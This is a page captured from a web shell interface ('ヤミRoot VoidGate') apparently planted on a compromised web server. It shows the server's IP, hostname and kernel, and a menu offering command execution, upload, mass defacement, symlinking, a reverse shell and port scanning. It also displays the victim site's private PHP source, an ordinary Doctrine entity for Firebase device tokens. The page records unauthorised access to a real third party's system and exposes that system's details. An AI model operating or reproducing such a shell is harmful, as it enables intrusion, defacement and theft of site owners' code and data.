ヤミRoot VoidGate
User / IP
:
216.73.216.84
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
src
/
Entity
/
Viewing: FirebaseToken.php
<?php namespace App\Entity; use App\Repository\FirebaseTokenRepository; use Doctrine\Common\Collections\ArrayCollection; use Doctrine\Common\Collections\Collection; use Doctrine\ORM\Mapping as ORM; use ApiPlatform\Core\Annotation\ApiResource; /** * @ApiResource() * @ORM\Entity(repositoryClass=FirebaseTokenRepository::class) */ class FirebaseToken { /** * @ORM\Id * @ORM\GeneratedValue * @ORM\Column(type="integer") */ private $id; /** * @ORM\Column(type="string", length=10000, nullable=true) */ private $deviseId; /** * @ORM\ManyToOne(targetEntity=Company::class, inversedBy="firebaseTokens") */ private $company; /** * @ORM\Column(type="datetime_immutable", nullable=true) */ private $createdAt; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $ipAddress; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $osModel; /** * @ORM\ManyToMany(targetEntity=NotificationPush::class, mappedBy="firebaseToken") */ private $notificationPushes; public function __construct() { $this->notificationPushes = new ArrayCollection(); $this->createdAt = new \DateTimeImmutable(); } public function getId(): ?int { return $this->id; } public function getDeviseId(): ?string { return $this->deviseId; } public function setDeviseId(?string $deviseId): self { $this->deviseId = $deviseId; return $this; } public function getCompany(): ?Company { return $this->company; } public function setCompany(?Company $company): self { $this->company = $company; return $this; } public function getCreatedAt(): ?\DateTimeImmutable { return $this->createdAt; } public function setCreatedAt(?\DateTimeImmutable $createdAt): self { $this->createdAt = $createdAt; return $this; } public function getIpAddress(): ?string { return $this->ipAddress; } public function setIpAddress(?string $ipAddress): self { $this->ipAddress = $ipAddress; return $this; } public function getOsModel(): ?string { return $this->osModel; } public function setOsModel(?string $osModel): self { $this->osModel = $osModel; return $this; } /** * @return Collection<int, NotificationPush> */ public function getNotificationPushes(): Collection { return $this->notificationPushes; } public function addNotificationPush(NotificationPush $notificationPush): self { if (!$this->notificationPushes->contains($notificationPush)) { $this->notificationPushes[] = $notificationPush; $notificationPush->addFirebaseToken($this); } return $this; } public function removeNotificationPush(NotificationPush $notificationPush): self { if ($this->notificationPushes->removeElement($notificationPush)) { $notificationPush->removeFirebaseToken($this); } return $this; } public function __toString() { // TODO: Implement __toString() method. return $this->osModel; } }
Coded With 💗 by
0x6ick